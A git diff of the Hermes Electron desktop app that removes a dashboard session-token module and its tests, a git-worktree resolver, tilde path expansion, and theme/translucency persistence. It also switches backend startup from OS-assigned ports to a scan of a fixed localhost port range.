- * The desktop main process can pass HERMES_DASHBOARD_SESSION_TOKEN when it
- * spawns the local dashboard, but the dashboard is the source of truth for the
- * token it actually serves to the renderer. If those drift, HTTP readiness
- * probes still pass while /api/ws rejects the renderer's token.
- */
-
-const DEFAULT_TOKEN_FETCH_TIMEOUT_MS = 3_000
-
-async function fetchPublicText(url, options = {}) {
-  const { protocol } = new URL(url)
-  if (protocol !== 'http:' && protocol !== 'https:') {
-    throw new Error(`Unsupported Hermes backend URL protocol: ${protocol}`)
-  }
-
-  const timeoutMs = options.timeoutMs ?? DEFAULT_TOKEN_FETCH_TIMEOUT_MS
-  const res = await fetch(url, { signal: AbortSignal.timeout(timeoutMs) }).catch(error => {
-    if (error.name === 'TimeoutError') {
-      throw new Error(`Timed out connecting to Hermes backend after ${timeoutMs}ms`)
-    }
-    throw error
-  })
-  const text = await res.text()
-
-  if (!res.ok) throw new Error(`${res.status}: ${text || res.statusText}`)
-
-  return text
-}
-
-function extractInjectedDashboardToken(html) {
-  const match = /window\.__HERMES_SESSION_TOKEN__\s*=\s*("(?:\\.|[^"\\])*")/.exec(String(html || ''))
-  if (!match) return null
-  try {
-    return JSON.parse(match[1])
-  } catch {
-    return null
-  }
-}
-
-function dashboardIndexUrl(baseUrl) {
-  return `${String(baseUrl || '').replace(/\/+$/, '')}/`
-}
-
-async function resolveServedDashboardToken(baseUrl, fallbackToken, options = {}) {
-  const fetchText = options.fetchText || fetchPublicText
-  const html = await fetchText(dashboardIndexUrl(baseUrl), {
-    timeoutMs: options.timeoutMs ?? DEFAULT_TOKEN_FETCH_TIMEOUT_MS
-  })
-  const servedToken = extractInjectedDashboardToken(html)
-
-  if (servedToken && servedToken !== fallbackToken && typeof options.rememberLog === 'function') {
-    options.rememberLog('[boot] dashboard served a different session token; using served token for WebSocket auth')
-  }
-
-  return servedToken || fallbackToken
-}
-
-/**
- * A served token that differs from our spawn token while our child is DEAD
- * came from a process we did not spawn (orphan/port squatter that satisfied
- * the public /api/status readiness probe). With a live child the mismatch is
- * benign: our own backend regenerated the token because the env pin did not
- * survive the spawn.
- */
-function isForeignBackendToken({ servedToken, spawnToken, childAlive }) {
-  return Boolean(servedToken) && servedToken !== spawnToken && !childAlive
-}
-
-/**
- * Resolve the token the backend actually serves, adopting benign drift and
- * failing loudly on a foreign backend. `childAlive` is a thunk so liveness is
- * sampled after the fetch, not before.
- */
-async function adoptServedDashboardToken(baseUrl, spawnToken, { childAlive, label = 'Hermes backend', ...options }) {
-  const servedToken = await resolveServedDashboardToken(baseUrl, spawnToken, options).catch(error => {
-    options.rememberLog?.(`[boot] could not read served dashboard token (${label}): ${error.message}`)
-    return spawnToken
-  })
-
-  if (isForeignBackendToken({ servedToken, spawnToken, childAlive: childAlive() })) {
-    throw new Error(
-      `${label} exited and ${dashboardIndexUrl(baseUrl)} is served by a process we did not spawn; refusing its session token.`
-    )
-  }
-
-  return servedToken
-}
-
-module.exports = {
-  DEFAULT_TOKEN_FETCH_TIMEOUT_MS,
-  adoptServedDashboardToken,
-  dashboardIndexUrl,
-  extractInjectedDashboardToken,
-  fetchPublicText,
-  isForeignBackendToken,
-  resolveServedDashboardToken
-}

apps/desktop/electron/dashboard-token.test.cjs

@@ -1,142 +0,0 @@
-/**
- * Tests for electron/dashboard-token.cjs.
- *
- * Run with: node --test electron/dashboard-token.test.cjs
- * (Wired into npm test:desktop:platforms in package.json.)
- */
-
-const test = require('node:test')
-const assert = require('node:assert/strict')
-
-const {
-  adoptServedDashboardToken,
-  dashboardIndexUrl,
-  extractInjectedDashboardToken,
-  fetchPublicText,
-  isForeignBackendToken,
-  resolveServedDashboardToken
-} = require('./dashboard-token.cjs')
-
-test('extractInjectedDashboardToken reads the JSON-encoded dashboard token', () => {
-  const html = '<script>window.__HERMES_SESSION_TOKEN__="served-token";window.__HERMES_BASE_PATH__=""</script>'
-  assert.equal(extractInjectedDashboardToken(html), 'served-token')
-})
-
-test('extractInjectedDashboardToken handles escaped token strings', () => {
-  const html = '<script>window.__HERMES_SESSION_TOKEN__="served\\\\token\\"quoted";</script>'
-  assert.equal(extractInjectedDashboardToken(html), 'served\\token"quoted')
-})
-
-test('extractInjectedDashboardToken returns null for missing or malformed values', () => {
-  assert.equal(extractInjectedDashboardToken('<html></html>'), null)
-  assert.equal(extractInjectedDashboardToken('<script>window.__HERMES_SESSION_TOKEN__={bad}</script>'), null)
-})
-
-test('dashboardIndexUrl preserves dashboard path prefixes', () => {
-  assert.equal(dashboardIndexUrl('http://127.0.0.1:9120'), 'http://127.0.0.1:9120/')
-  assert.equal(dashboardIndexUrl('https://host.example/hermes/'), 'https://host.example/hermes/')
-})
-
-test('resolveServedDashboardToken uses the served token and logs when it differs', async () => {
-  const logs = []
-  const token = await resolveServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
-    fetchText: async url => {
-      assert.equal(url, 'http://127.0.0.1:9120/')
-      return '<script>window.__HERMES_SESSION_TOKEN__="served-token";</script>'
-    },
-    rememberLog: line => logs.push(line)
-  })
-
-  assert.equal(token, 'served-token')
-  assert.equal(logs.length, 1)
-  assert.match(logs[0], /served a different session token/)
-})
-
-test('resolveServedDashboardToken falls back when the served HTML has no token', async () => {
-  const token = await resolveServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
-    fetchText: async () => '<html></html>',
-    rememberLog: () => {
-      throw new Error('should not log when no served token is present')
-    }
-  })
-
-  assert.equal(token, 'spawn-token')
-})
-
-test('resolveServedDashboardToken does not log when served token matches fallback', async () => {
-  const token = await resolveServedDashboardToken('http://127.0.0.1:9120', 'same-token', {
-    fetchText: async () => '<script>window.__HERMES_SESSION_TOKEN__="same-token";</script>',
-    rememberLog: () => {
-      throw new Error('should not log when token already matches')
-    }
-  })
-
-  assert.equal(token, 'same-token')
-})
-
-test('resolveServedDashboardToken propagates fetch errors so callers can fall back explicitly', async () => {
-  await assert.rejects(
-    () =>
-      resolveServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
-        fetchText: async () => {
-          throw new Error('boom')
-        }
-      }),
-    /boom/
-  )
-})
-
-test('fetchPublicText rejects unsupported protocols', async () => {
-  await assert.rejects(() => fetchPublicText('file:///tmp/index.html'), /Unsupported Hermes backend URL protocol/)
-})
-
-test('isForeignBackendToken only flags a mismatched token from a dead child', () => {
-  const cases = [
-    [{ servedToken: 'other', spawnToken: 'mine', childAlive: false }, true],
-    // Live child + drift = our backend regenerated the token (env pin lost).
-    [{ servedToken: 'other', spawnToken: 'mine', childAlive: true }, false],
-    [{ servedToken: 'mine', spawnToken: 'mine', childAlive: false }, false],
-    [{ servedToken: 'mine', spawnToken: 'mine', childAlive: true }, false],
-    [{ servedToken: null, spawnToken: 'mine', childAlive: false }, false],
-    [{ servedToken: '', spawnToken: 'mine', childAlive: false }, false]
-  ]
-  for (const [input, expected] of cases) {
-    assert.equal(isForeignBackendToken(input), expected, JSON.stringify(input))
-  }
-})
-
-test('adoptServedDashboardToken adopts drift from a live child', async () => {
-  const token = await adoptServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
-    childAlive: () => true,
-    fetchText: async () => '<script>window.__HERMES_SESSION_TOKEN__="served-token";</script>'
-  })
-
-  assert.equal(token, 'served-token')
-})
-
-test('adoptServedDashboardToken refuses a foreign token when our child is dead', async () => {
-  await assert.rejects(
-    () =>
-      adoptServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
-        childAlive: () => false,
-        fetchText: async () => '<script>window.__HERMES_SESSION_TOKEN__="squatter-token";</script>',
-        label: 'Hermes backend for profile "work"'
-      }),
-    /profile "work".*process we did not spawn/
-  )
-})
-
-test('adoptServedDashboardToken falls back to the spawn token when the fetch fails', async () => {
-  const logs = []
-  const token = await adoptServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
-    childAlive: () => true,
-    fetchText: async () => {
-      throw new Error('boom')
-    },
-    rememberLog: line => logs.push(line)
-  })
-
-  assert.equal(token, 'spawn-token')
-  assert.equal(logs.length, 1)
-  assert.match(logs[0], /could not read served dashboard token \(Hermes backend\): boom/)
-})

apps/desktop/electron/git-worktrees.cjs

@@ -1,174 +0,0 @@
-'use strict'
-
-// Resolve git-worktree relationships for a set of session cwds, reading git's
-// on-disk metadata directly (no `git` spawn per path):
-//
-//   - A normal checkout has a `.git` DIRECTORY at its root → it's the main
-//     worktree; its repo root IS that directory's parent.
-//   - A linked worktree has a `.git` FILE: `gitdir: <repo>/.git/worktrees/<name>`.
-//     That admin dir's `commondir` points back at the shared `<repo>/.git`, whose
-//     parent is the main repo root.
-//
-// Grouping by repoRoot therefore clusters a repo's main checkout with all of its
-// linked worktrees, regardless of how the worktree directories are named. The
-// branch (read from the worktree's own HEAD) gives each worktree a meaningful
-// label.
-
-const fs = require('node:fs')
-const path = require('node:path')
-const { resolveRequestedPathForIpc } = require('./hardening.cjs')
-
-// Walk up from `start` to the nearest ancestor that carries a `.git` entry
-// (file for a linked worktree, dir for the main checkout). Capped so a stray
-// path can't loop forever.
-function findGitHost(start, fsImpl) {
-  let dir = start
-
-  for (let i = 0; i < 64; i += 1) {
-    const dotgit = path.join(dir, '.git')
-
-    try {
-      if (fsImpl.existsSync(dotgit)) {
-        return dir
-      }
-    } catch {
-      return null
-    }
-
-    const parent = path.dirname(dir)
-
-    if (parent === dir) {
-      return null
-    }
-
-    dir = parent
-  }
-
-  return null
-}
-
-function readBranch(gitDir, fsImpl) {
-  try {
-    const head = fsImpl.readFileSync(path.join(gitDir, 'HEAD'), 'utf8').trim()
-    const ref = head.match(/^ref:\s*refs\/heads\/(.+)$/)
-
-    if (ref) {
-      return ref[1]
-    }
-
-    // Detached HEAD: surface a short sha so the worktree still gets a label.
-    return /^[0-9a-f]{7,40}$/i.test(head) ? head.slice(0, 8) : null
-  } catch {
-    return null
-  }
-}
-
-// Given the directory that owns the `.git` entry, resolve its worktree identity.
-function resolveFromHost(host, fsImpl) {
-  const dotgit = path.join(host, '.git')
-  let stat
-
-  try {
-    stat = fsImpl.statSync(dotgit)
-  } catch {
-    return null
-  }
-
-  if (stat.isDirectory()) {
-    return {
-      repoRoot: host,
-      worktreeRoot: host,
-      isMainWorktree: true,
-      branch: readBranch(dotgit, fsImpl)
-    }
-  }
-
-  // Linked worktree: `.git` is a file pointing at the admin dir.
-  let contents
-
-  try {
-    contents = fsImpl.readFileSync(dotgit, 'utf8').trim()
-  } catch {
-    return null
-  }
-
-  const match = contents.match(/^gitdir:\s*(.+)$/m)
-
-  if (!match) {
-    return null
-  }
-
-  const adminDir = path.resolve(host, match[1].trim())
-
-  // `commondir` resolves to the shared `<repo>/.git`; fall back to walking two
-  // levels up from `<repo>/.git/worktrees/<name>` if it's missing.
-  let commonDir
-
-  try {
-    const rel = fsImpl.readFileSync(path.join(adminDir, 'commondir'), 'utf8').trim()
-    commonDir = path.resolve(adminDir, rel)
-  } catch {
-    commonDir = path.dirname(path.dirname(adminDir))
-  }
-
-  return {
-    repoRoot: path.dirname(commonDir),
-    worktreeRoot: host,
-    isMainWorktree: false,
-    branch: readBranch(adminDir, fsImpl)
-  }
-}
-
-function resolveWorktree(startPath, fsImpl = fs) {
-  let resolved
-
-  try {
-    resolved = resolveRequestedPathForIpc(startPath, { purpose: 'Worktree lookup' })
-  } catch {
-    return null
-  }
-
-  let start = resolved
-
-  try {
-    const stat = fsImpl.statSync(resolved)
-
-    if (!stat.isDirectory()) {
-      start = path.dirname(resolved)
-    }
-  } catch {
-    return null
-  }
-
-  const host = findGitHost(start, fsImpl)
-
-  if (!host) {
-    return null
-  }
-
-  return resolveFromHost(host, fsImpl)
-}
-
-// Batch entry point for the renderer: maps each requested cwd to its worktree
-// info (or null when it isn't inside a git checkout / can't be read). Dedupes so
-// many sessions sharing a cwd cost one lookup.
-async function worktreesForIpc(cwds, options = {}) {
-  const fsImpl = options.fs || fs
-  const list = Array.isArray(cwds) ? cwds : []
-  const out = {}
-
-  for (const cwd of list) {
-    if (typeof cwd !== 'string' || !cwd.trim() || cwd in out) {
-      continue
-    }
-
-    out[cwd] = resolveWorktree(cwd, fsImpl)
-  }
-
-  return out
-}
-
-module.exports = {
-  resolveWorktree,
-  worktreesForIpc
-}

apps/desktop/electron/hardening.cjs

@@ -1,5 +1,4 @@
 const fs = require('node:fs')
-const os = require('node:os')
 const path = require('node:path')
 const { fileURLToPath } = require('node:url')
 
@@ -143,14 +142,7 @@ function rejectUnsafePathSyntax(filePath, purpose = 'File read') {
 
 function resolveRequestedPathForIpc(filePath, options = {}) {
   const purpose = String(options.purpose || 'File read')
-  let raw = rejectUnsafePathSyntax(filePath, purpose)
-
-  // Gateway-reported cwds (config `terminal.cwd`, remote sessions) routinely
-  // arrive as `~/...`. Node's fs has no shell — without expansion the path
-  // resolves under process.cwd() and every read "ENOENT"s forever.
-  if (raw === '~' || raw.startsWith('~/') || raw.startsWith('~\\')) {
-    raw = path.join(os.homedir(), raw.slice(1))
-  }
+  const raw = rejectUnsafePathSyntax(filePath, purpose)
 
   if (/^file:/i.test(raw)) {
     let resolvedPath

apps/desktop/electron/hardening.test.cjs

@@ -106,19 +106,6 @@ test('resolveRequestedPathForIpc resolves relative paths from the trimmed base d
   )
 })
 
-test('resolveRequestedPathForIpc expands ~ to the home directory', () => {
-  assert.equal(resolveRequestedPathForIpc('~', { purpose: 'Directory read' }), path.resolve(os.homedir()))
-  assert.equal(
-    resolveRequestedPathForIpc('~/www/project', { purpose: 'Directory read' }),
-    path.resolve(os.homedir(), 'www/project')
-  )
-  // `~user` shorthand is NOT expanded — only the caller's own home.
-  assert.equal(
-    resolveRequestedPathForIpc('~other/secret', { baseDir: os.tmpdir(), purpose: 'Directory read' }),
-    path.resolve(os.tmpdir(), '~other/secret')
-  )
-})
-
 test('resolveReadableFileForIpc validates existence type size and sensitivity', async t => {
   const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'hermes-desktop-hardening-'))
   t.after(() => fs.rmSync(tempDir, { recursive: true, force: true }))

apps/desktop/electron/main.cjs

@@ -26,23 +26,17 @@ const { pathToFileURL } = require('node:url')
 const { execFileSync, spawn } = require('node:child_process')
 const { detectRemoteDisplay, isWindowsBinaryPathInWsl, isWslEnvironment } = require('./bootstrap-platform.cjs')
 const { runBootstrap } = require('./bootstrap-runner.cjs')
-const {
-  buildSessionWindowUrl,
-  createSessionWindowRegistry,
-  SESSION_WINDOW_MIN_HEIGHT,
-  SESSION_WINDOW_MIN_WIDTH
-} = require('./session-windows.cjs')
+const { buildSessionWindowUrl, createSessionWindowRegistry } = require('./session-windows.cjs')
 const { canImportHermesCli, verifyHermesCli } = require('./backend-probes.cjs')
 const { probeGatewayWebSocket } = require('./gateway-ws-probe.cjs')
-const { adoptServedDashboardToken } = require('./dashboard-token.cjs')
-const { waitForDashboardPort } = require('./backend-ready.cjs')
 const { serializeJsonBody, setJsonRequestHeaders } = require('./oauth-net-request.cjs')
 const { fetchMarketplaceThemes, searchMarketplaceThemes } = require('./vscode-marketplace.cjs')
-const { buildDesktopBackendEnv } = require('./backend-env.cjs')
 const { readDirForIpc } = require('./fs-read-dir.cjs')
 const { gitRootForIpc } = require('./git-root.cjs')
-const { worktreesForIpc } = require('./git-worktrees.cjs')
-const { OFFICIAL_REPO_HTTPS_URL, isOfficialSshRemote } = require('./update-remote.cjs')
+const {
+  OFFICIAL_REPO_HTTPS_URL,
+  isOfficialSshRemote
+} = require('./update-remote.cjs')
 const {
   buildPosixCleanupScript,
   buildWindowsCleanupScript,
@@ -99,7 +93,6 @@ try {
       nodePty = require(nodePtyDir)
     }
   } catch {
-    console.log(`[terminal] failed to load node-pty from path ${nodePtyDir}`)
     nodePty = null
     nodePtyDir = null
   }
@@ -112,6 +105,8 @@ if (USER_DATA_OVERRIDE) {
   app.setPath('userData', resolvedUserData)
 }
 
+const PORT_FLOOR = 9120
+const PORT_CEILING = 9199
 const DEV_SERVER = process.env.HERMES_DESKTOP_DEV_SERVER
 const IS_PACKAGED = app.isPackaged
 const IS_MAC = process.platform === 'darwin'
@@ -345,110 +340,10 @@ const APP_ICON_PATHS = [
 let rendererTitleBarTheme = null
 const terminalSessions = new Map()
 
-// Force the NATIVE window appearance (vibrancy material, titlebar, the
-// pre-first-paint window background) to follow the APP theme instead of the
-// OS appearance. With `vibrancy` set, macOS paints an NSVisualEffectView that
-// tracks the window's effective appearance and ignores `backgroundColor` —
-// so a dark-themed app on a light-mode Mac flashes a white material on every
-// new window until the renderer covers it. The renderer reports its mode via
-// 'hermes:native-theme' ('dark' | 'light' | 'system'); we pin
-// nativeTheme.themeSource to it and persist the value so cold launches paint
-// correctly before the renderer has even loaded.
-const NATIVE_THEME_CONFIG_PATH = path.join(app.getPath('userData'), 'native-theme.json')
-const THEME_SOURCES = new Set(['dark', 'light', 'system'])
-
-function readPersistedThemeSource() {
-  try {
-    const parsed = JSON.parse(fs.readFileSync(NATIVE_THEME_CONFIG_PATH, 'utf8'))
-
-    if (parsed && THEME_SOURCES.has(parsed.themeSource)) {
-      return parsed.themeSource
-    }
-  } catch {
-    // Missing / malformed → follow the OS like a fresh install.
-  }
-
-  return 'system'
-}
-
-function writePersistedThemeSource(mode) {
-  try {
-    fs.mkdirSync(path.dirname(NATIVE_THEME_CONFIG_PATH), { recursive: true })
-    fs.writeFileSync(NATIVE_THEME_CONFIG_PATH, JSON.stringify({ themeSource: mode }, null, 2), 'utf8')
-  } catch (error) {
-    rememberLog(`[theme] write native theme failed: ${error.message}`)
-  }
-}
-
-nativeTheme.themeSource = readPersistedThemeSource()
-
-// Window translucency (see-through window). One lever, 0–100; 0 = off (the
-// default). Mapped to the native window opacity so the desktop shows through
-// the whole window. Persisted so a cold launch applies it at window creation,
-// before the renderer reports its value. macOS + Windows only; `setOpacity` is
-// a no-op on Linux. See store/translucency.
-const TRANSLUCENCY_CONFIG_PATH = path.join(app.getPath('userData'), 'translucency.json')
-
-function clampIntensity(value) {
-  const n = Math.round(Number(value))
-
-  return Number.isFinite(n) ? Math.min(100, Math.max(0, n)) : 0
-}
-
-function readPersistedTranslucency() {
-  try {
-    return clampIntensity(JSON.parse(fs.readFileSync(TRANSLUCENCY_CONFIG_PATH, 'utf8')).intensity)
-  } catch {
-    return 0
-  }
-}
-
-function writePersistedTranslucency(intensity) {
-  try {
-    fs.mkdirSync(path.dirname(TRANSLUCENCY_CONFIG_PATH), { recursive: true })
-    fs.writeFileSync(TRANSLUCENCY_CONFIG_PATH, JSON.stringify({ intensity }, null, 2), 'utf8')
-  } catch (error) {
-    rememberLog(`[translucency] write failed: ${error.message}`)
-  }
-}
-
-let translucencyIntensity = readPersistedTranslucency()
-
-// Map the 0–100 lever to a window opacity. Floor at 0.3 so the most see-through
-// setting is still usable rather than nearly invisible. 0 → fully opaque.
-function windowOpacity() {
-  return 1 - (translucencyIntensity / 100) * 0.7
-}
-
-// Re-apply translucency to a live window (runtime toggle, no recreation).
-// `setOpacity` is a no-op on Linux, which is fine — it just stays opaque there.
-function applyWindowTranslucency(win) {
-  if (!win || win.isDestroyed() || typeof win.setOpacity !== 'function') {
-    return
-  }
-
-  try {
-    win.setOpacity(windowOpacity())
-  } catch (error) {
-    rememberLog(`[translucency] apply failed: ${error.message}`)
-  }
-}
-
 function isHexColor(value) {
   return typeof value === 'string' && /^#[0-9a-f]{6}$/i.test(value)
 }
 
-// Background color to paint a window with BEFORE its renderer loads, so a new
-// (or reopened) window doesn't flash white/light in dark mode. Prefer the theme
-// the renderer last reported; fall back to the OS preference on first launch.
-function getWindowBackgroundColor() {
-  if (rendererTitleBarTheme && isHexColor(rendererTitleBarTheme.background)) {
-    return rendererTitleBarTheme.background
-  }
-
-  return nativeTheme.shouldUseDarkColors ? '#111111' : '#f7f7f7'
-}
-
 function getTitleBarOverlayOptions() {
   if (IS_MAC) {
     return { height: TITLEBAR_HEIGHT }
@@ -1261,14 +1156,10 @@ function findSystemPython() {
   if (pyExe) {
     for (const version of SUPPORTED_VERSIONS) {
       try {
-        const out = execFileSync(
-          pyExe,
-          [`-${version}`, '-c', 'import sys; print(sys.executable)'],
-          hiddenWindowsChildOptions({
-            encoding: 'utf8',
-            stdio: ['ignore', 'pipe', 'ignore']
-          })
-        )
+        const out = execFileSync(pyExe, [`-${version}`, '-c', 'import sys; print(sys.executable)'], hiddenWindowsChildOptions({
+          encoding: 'utf8',
+          stdio: ['ignore', 'pipe', 'ignore']
+        }))
         const candidate = out.trim()
         if (candidate && fileExists(candidate)) return candidate
       } catch {
@@ -1403,15 +1294,11 @@ function resolveUpdateRoot() {
 
 function runGit(args, options = {}) {
   return new Promise((resolve, reject) => {
-    const child = spawn(
-      resolveGitBinary(),
-      IS_WINDOWS ? ['-c', 'windows.appendAtomically=false', ...args] : args,
-      hiddenWindowsChildOptions({
-        cwd: options.cwd,
-        env: { ...process.env, ...(options.env || {}), GIT_TERMINAL_PROMPT: '0' },
-        stdio: ['ignore', 'pipe', 'pipe']
-      })
-    )
+    const child = spawn(resolveGitBinary(), IS_WINDOWS ? ['-c', 'windows.appendAtomically=false', ...args] : args, hiddenWindowsChildOptions({
+      cwd: options.cwd,
+      env: { ...process.env, ...(options.env || {}), GIT_TERMINAL_PROMPT: '0' },
+      stdio: ['ignore', 'pipe', 'pipe']
+    }))
 
     let stdout = ''
     let stderr = ''
@@ -1835,44 +1722,6 @@ async function applyUpdates(opts = {}) {
   }
 }
 
-async function handOffWindowsBootstrapRecovery(reason) {
-  if (!IS_WINDOWS || !IS_PACKAGED) return false
-
-  const updater = resolveUpdaterBinary()
-  if (!updater) return false
-
-  const updateRoot = resolveUpdateRoot()
-  const { branch: configuredBranch } = readDesktopUpdateConfig()
-  const branch = directoryExists(path.join(updateRoot, '.git'))
-    ? await resolveHealedBranch(updateRoot, configuredBranch || DEFAULT_UPDATE_BRANCH)
-    : configuredBranch || DEFAULT_UPDATE_BRANCH
-  const venvBin = path.join(updateRoot, 'venv', IS_WINDOWS ? 'Scripts' : 'bin')
-  const venvHermes = path.join(venvBin, IS_WINDOWS ? 'hermes.exe' : 'hermes')
-  const updaterArgs = fileExists(venvHermes) ? ['--update', '--branch', branch] : ['--repair', '--branch', branch]
-
-  await releaseBackendLockForUpdate(updateRoot)
-
-  const child = spawn(updater, updaterArgs, {
-    cwd: HERMES_HOME,
-    env: {
-      ...process.env,
-      HERMES_HOME,
-      PATH: [path.join(HERMES_HOME, 'node', 'bin'), venvBin, process.env.PATH].filter(Boolean).join(path.delimiter)
-    },
-    detached: true,
-    stdio: 'ignore',
-    windowsHide: false
-  })
-  child.unref()
-
-  rememberLog(`[bootstrap] handed off ${reason} recovery to updater: ${updater} ${updaterArgs.join(' ')}; exiting desktop to release app.asar`)
-  setTimeout(() => {
-    app.quit()
-  }, 600)
-
-  return true
-}
-
 // Resolve the hermes CLI to drive an in-app update: prefer the venv shim in
 // the install we're updating, fall back to `hermes` on PATH.
 function resolveHermesCliBinary(updateRoot) {
@@ -1886,15 +1735,11 @@ function runStreamedUpdate(command, args, { cwd, env, stage } = {}) {
   return new Promise(resolve => {
     let child
     try {
-      child = spawn(
-        command,
-        args,
-        hiddenWindowsChildOptions({
-          cwd,
-          env: { ...process.env, ...(env || {}) },
-          stdio: ['ignore', 'pipe', 'pipe']
-        })
-      )
+      child = spawn(command, args, hiddenWindowsChildOptions({
+        cwd,
+        env: { ...process.env, ...(env || {}) },
+        stdio: ['ignore', 'pipe', 'pipe']
+      }))
     } catch (err) {
       resolve({ code: 1, error: err.message })
       return
@@ -2282,11 +2127,9 @@ function createPythonBackend(root, label, dashboardArgs, options = {}) {
     label,
     command: python,
     args: ['-m', 'hermes_cli.main', ...dashboardArgs],
-    env: buildDesktopBackendEnv({
-      hermesHome: HERMES_HOME,
-      pythonPathEntries: [root],
-      venvRoot: path.join(root, 'venv')
-    }),
+    env: {
+      PYTHONPATH: [root, process.env.PYTHONPATH].filter(Boolean).join(path.delimiter)
+    },
     root,
     bootstrap: Boolean(options.bootstrap),
     shell: false
@@ -2305,11 +2148,9 @@ function createActiveBackend(dashboardArgs) {
     label: `Hermes at ${ACTIVE_HERMES_ROOT}`,
     command: fileExists(venvPython) ? venvPython : findSystemPython(),
     args: ['-m', 'hermes_cli.main', ...dashboardArgs],
-    env: buildDesktopBackendEnv({
-      hermesHome: HERMES_HOME,
-      pythonPathEntries: [ACTIVE_HERMES_ROOT],
-      venvRoot: VENV_ROOT
-    }),
+    env: {
+      PYTHONPATH: [ACTIVE_HERMES_ROOT, process.env.PYTHONPATH].filter(Boolean).join(path.delimiter)
+    },
     root: ACTIVE_HERMES_ROOT,
     bootstrap: true,
     shell: false
@@ -2470,14 +2311,6 @@ async function ensureRuntime(backend) {
   if (backend.kind === 'bootstrap-needed') {
     rememberLog('[bootstrap] no Hermes install found; starting first-launch bootstrap')
 
-    if (await handOffWindowsBootstrapRecovery('bootstrap-needed')) {
-      const handoffError = new Error('Hermes recovery was handed off to Hermes Setup. The desktop will restart when recovery completes.')
-      handoffError.isBootstrapFailure = true
-      handoffError.bootstrapHandedOff = true
-      bootstrapFailure = handoffError
-      throw handoffError
-    }
-
     // Eagerly flip the bootstrap UI state to 'active' so the renderer
     // shows the install overlay BEFORE the runner finishes fetching the
     // manifest (which on slow networks can take tens of seconds and would
@@ -2607,6 +2440,23 @@ async function ensureRuntime(backend) {
   return backend
 }
 
+function isPortAvailable(port) {
+  return new Promise(resolve => {
+    const server = net.createServer()
+    server.once('error', () => resolve(false))
+    server.once('listening', () => {
+      server.close(() => resolve(true))
+    })
+    server.listen(port, '127.0.0.1')
+  })
+}
+
+async function pickPort() {
+  for (let port = PORT_FLOOR; port <= PORT_CEILING; port += 1) {
+    if (await isPortAvailable(port)) return port
+  }
+  throw new Error(`No free localhost port in ${PORT_FLOOR}-${PORT_CEILING}`)
+}
 
 function fetchJson(url, token, options = {}) {
   return new Promise((resolve, reject) => {
@@ -4684,41 +4534,38 @@ async function spawnPoolBackend(profile, entry) {
     }
   }
 
+  const port = await pickPort()
   const token = crypto.randomBytes(32).toString('base64url')
   // --profile wins over the inherited HERMES_HOME env (see _apply_profile_override
   // step 3 in hermes_cli/main.py), so the child re-homes to this profile.
-  // --port 0: the OS assigns an ephemeral port; the child announces it on stdout.
-  const dashboardArgs = ['--profile', profile, 'dashboard', '--no-open', '--host', '127.0.0.1', '--port', '0']
+  const dashboardArgs = ['--profile', profile, 'dashboard', '--no-open', '--host', '127.0.0.1', '--port', String(port)]
   const backend = await ensureRuntime(resolveHermesBackend(dashboardArgs))
   const hermesCwd = resolveHermesCwd()
   const webDist = resolveWebDist()
 
   rememberLog(`Starting Hermes backend for profile "${profile}" via ${backend.label}`)
 
-  const child = spawn(
-    backend.command,
-    backend.args,
-    hiddenWindowsChildOptions({
-      cwd: hermesCwd,
-      env: {
-        ...process.env,
-        HERMES_HOME,
-        ...backend.env,
-        // Pin the gateway's tool/terminal cwd to the same directory we chose for
-        // the child process. Inherited TERMINAL_CWD (or a stale config bridge)
-        // can still point at the install dir even when spawn cwd is home.
-        TERMINAL_CWD: hermesCwd,
-        HERMES_DASHBOARD_SESSION_TOKEN: token,
-        // Marks this dashboard backend as desktop-spawned so it runs the cron
-        // scheduler tick loop (the gateway isn't running under the app).
-        HERMES_DESKTOP: '1',
-        HERMES_WEB_DIST: webDist
-      },
-      shell: backend.shell,
-      stdio: ['ignore', 'pipe', 'pipe']
-    })
-  )
+  const child = spawn(backend.command, backend.args, hiddenWindowsChildOptions({
+    cwd: hermesCwd,
+    env: {
+      ...process.env,
+      HERMES_HOME,
+      ...backend.env,
+      // Pin the gateway's tool/terminal cwd to the same directory we chose for
+      // the child process. Inherited TERMINAL_CWD (or a stale config bridge)
+      // can still point at the install dir even when spawn cwd is home.
+      TERMINAL_CWD: hermesCwd,
+      HERMES_DASHBOARD_SESSION_TOKEN: token,
+      // Marks this dashboard backend as desktop-spawned so it runs the cron
+      // scheduler tick loop (the gateway isn't running under the app).
+      HERMES_DESKTOP: '1',
+      HERMES_WEB_DIST: webDist
+    },
+    shell: backend.shell,
+    stdio: ['ignore', 'pipe', 'pipe']
+  }))
   entry.process = child
+  entry.port = port
   entry.token = token
 
   child.stdout.on('data', rememberLog)
@@ -4744,28 +4591,18 @@ async function spawnPoolBackend(profile, entry) {
     }
   })
 
-  // Discover the ephemeral port the child bound to
-  const port = await Promise.race([waitForDashboardPort(child), startFailed])
-  entry.port = port
-
   const baseUrl = `http://127.0.0.1:${port}`
   await Promise.race([waitForHermes(baseUrl, token), startFailed])
   ready = true
-  const authToken = await adoptServedDashboardToken(baseUrl, token, {
-    childAlive: () => child.exitCode === null && !child.killed,
-    label: `Hermes backend for profile "${profile}"`,
-    rememberLog
-  })
-  entry.token = authToken
 
   return {
     baseUrl,
     mode: 'local',
     source: 'local',
     authMode: 'token',
-    token: authToken,
+    token,
     profile,
-    wsUrl: `ws://127.0.0.1:${port}/api/ws?token=${encodeURIComponent(authToken)}`,
+    wsUrl: `ws://127.0.0.1:${port}/api/ws?token=${encodeURIComponent(token)}`,
     logs: hermesLog.slice(-80),
     ...getWindowState()
   }
@@ -4887,9 +4724,10 @@ async function startHermes() {
       }
     }
 
+    await advanceBootProgress('backend.port', 'Finding an open local port', 16)
+    const port = await pickPort()
     const token = crypto.randomBytes(32).toString('base64url')
-    // --port 0: the OS assigns an ephemeral port; the child announces it on stdout.
-    const dashboardArgs = ['dashboard', '--no-open', '--host', '127.0.0.1', '--port', '0']
+    const dashboardArgs = ['dashboard', '--no-open', '--host', '127.0.0.1', '--port', String(port)]
     // Pin the desktop's chosen profile via the global --profile flag. This is
     // deterministic (it wins over the sticky ~/.hermes/active_profile file) and
     // resolves HERMES_HOME the same way `hermes -p <name>` does on the CLI. An
